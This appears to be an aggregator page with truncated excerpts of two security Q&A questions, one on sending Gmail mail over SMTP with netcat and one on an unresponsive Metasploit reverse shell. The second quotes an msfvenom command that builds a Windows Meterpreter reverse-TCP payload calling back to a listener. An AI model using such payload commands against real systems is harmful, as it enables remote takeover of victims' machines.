When sending email to Gmail address from netcat or openssl s_client, why do I get "Username and Password not accepted", despite correct credentials [migrated]

My goal was to send an email to a gmail address, like beta@gmail.com from a commandline tool such as netcat or telnet etc.
WHAT I TRIED:
I first tried netcat.
nc -C smtp.gmail.com 587
220 smtp.gmail.com ESMTP l35sm2846203wms.40 – gsmtp
EHL… Continue reading When sending email to Gmail address from netcat or openssl s_client, why do I get "Username and Password not accepted", despite correct credentials [migrated]

MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive

I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe

In addition I am running a listener with Metasplo… Continue reading MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive